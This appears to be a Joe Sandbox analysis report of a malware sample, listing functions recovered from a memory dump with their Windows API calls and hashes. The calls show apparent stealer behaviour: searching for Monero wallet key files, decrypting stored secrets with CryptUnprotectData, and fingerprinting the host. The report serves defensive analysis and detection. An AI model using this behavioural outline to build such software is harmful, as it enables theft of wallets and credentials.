API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 27fe9eeabdb6232932118a0447d0fb673835789218b78c874cdd1f724641b096
Instruction ID: bf585e4146703514f06c96f392773186064cc0964cd3d23931e6b0336055c238
Opcode Fuzzy Hash: 27fe9eeabdb6232932118a0447d0fb673835789218b78c874cdd1f724641b096
Instruction Fuzzy Hash: 131212B191011D9BCB19EB60CC59AFE7778BF94340F4041A9A60E62095EF746F89CF92

Function 005EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006014B0,00600C2A), ref: 005EDAEB
StrCmpCA.SHLWAPI(?,006014B4), ref: 005EDB33
StrCmpCA.SHLWAPI(?,006014B8), ref: 005EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EDDCC
FindClose.KERNEL32(000000FF), ref: 005EDDDE

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c5a2b38951bf5efc6e97c29bbbe88fed2d61bdc52f75dfd2a1ce095704c73306
Instruction ID: 2cfd2dd32ee4db3a82aefeda7afc0bc8da87a4a0c8f86481bc325627af71a798
Opcode Fuzzy Hash: c5a2b38951bf5efc6e97c29bbbe88fed2d61bdc52f75dfd2a1ce095704c73306
Instruction Fuzzy Hash: 649156B290010997CB18FB70DC5ADFD7B7DBFC4340F408568B94A96195EE78AB098B93

Function 005F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

GetKeyboardLayoutList.USER32(00000000,00000000,006005AF), ref: 005F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 005F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 005F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005F7C62
LocalFree.KERNEL32(00000000), ref: 005F7D22

Strings

/ , xrefs: 005F7C7F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9bcd91c277da76ec1641dc70cfd023347d5b212adaf68aa9c0f47f15d27fc356
Instruction ID: 21764e7ee612722b90f415abc63396f13ce2ac788d2fd53792e62eb604e3b59a
Opcode Fuzzy Hash: 9bcd91c277da76ec1641dc70cfd023347d5b212adaf68aa9c0f47f15d27fc356
Instruction Fuzzy Hash: 0C415EB194011DABDB24DB54DC99BFEBB74FF48700F204199E609A2191DB782F85CFA2

Function 005EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00600D73), ref: 005EE4A2
StrCmpCA.SHLWAPI(?,006014F8), ref: 005EE4F2
StrCmpCA.SHLWAPI(?,006014FC), ref: 005EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 005EEBDF

Strings

\*.*, xrefs: 005EE44D

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 930f8409193d3d6c7a5c0c67f3d5bbe03012c8596ef149ce3ff6cf2261075416
Instruction ID: 0728db3486261cff9a258997ae2cafecd7d584ec107a338bff12bb15918c0e56
Opcode Fuzzy Hash: 930f8409193d3d6c7a5c0c67f3d5bbe03012c8596ef149ce3ff6cf2261075416
Instruction Fuzzy Hash: 401272B191010E9ADB18FB60DC9AEFD7738BF94340F4041A8B60E56095EE786F49CB93

Function 005F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005F961E
Process32First.KERNEL32(00600ACA,00000128), ref: 005F9632
Process32Next.KERNEL32(00600ACA,00000128), ref: 005F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 005F965C
CloseHandle.KERNEL32(00600ACA), ref: 005F967A

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e7e9dedf1d74335e470326ac317dbe2daef3330adc0e84037a5555b1245dd5ea
Instruction ID: 2b2f13bfa180fba1774d6cabf45a1df3e81b99df9edff15e1a24cb1c61e878ac
Opcode Fuzzy Hash: e7e9dedf1d74335e470326ac317dbe2daef3330adc0e84037a5555b1245dd5ea
Instruction Fuzzy Hash: 37010C75A00208EBCB24DFA5CD48BEDBBF8FF48700F108598AA05E6240DB349B45CF51

Function 005F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014106F8,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 005F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014106F8,00000000,?,00600E10,00000000,?,00000000,00000000,?), ref: 005F7A7D
wsprintfA.USER32 ref: 005F7AB7

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: bc586ce0ba3250c570229b588767e81cf224c481446d4028d956b16d68295f37
Instruction ID: 86df9c1a8a9fa5346c73ef7023fa9b933fb2ecf4022156a54d7ba4929e381f3f
Opcode Fuzzy Hash: bc586ce0ba3250c570229b588767e81cf224c481446d4028d956b16d68295f37
Instruction Fuzzy Hash: B31182B1945218DBEB248F54DC45F6ABB78FB04711F1047A6EA06932C0D7745A41CF51

Function 005E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 005E9BA3
LocalFree.KERNEL32(?), ref: 005E9BD3

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: f2e38162f5c677948dc837de76e6e7d6a321526efc0f47aed7ad12dc3fb78139
Instruction ID: 42e9d796deb36e3c3d9a9054af253045b41e8f0adc71ca8f9c98e0228fa56a2c
Opcode Fuzzy Hash: f2e38162f5c677948dc837de76e6e7d6a321526efc0f47aed7ad12dc3fb78139
Instruction Fuzzy Hash: 4811CCB8A00209DFDB04DF94D985AAE77F9FF88300F104569E915A7350D774AE51CFA1

Function 005F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: fed4931e966a68f666d0b2f33f866a6d8d123ea0dba7cae30750166367371fee
Instruction ID: b38d19e0b4155d3a6e8adf3b1255af9322084b6d392f048f9a85e842adbb9b2a
Opcode Fuzzy Hash: fed4931e966a68f666d0b2f33f866a6d8d123ea0dba7cae30750166367371fee
Instruction Fuzzy Hash: A4F04FB1944208AFC714DF98DD49FAEBBB8FB08711F10466AFA05A2680C77915058BA1

Function 005E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 005E116A
ExitProcess.KERNEL32 ref: 005E117E

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
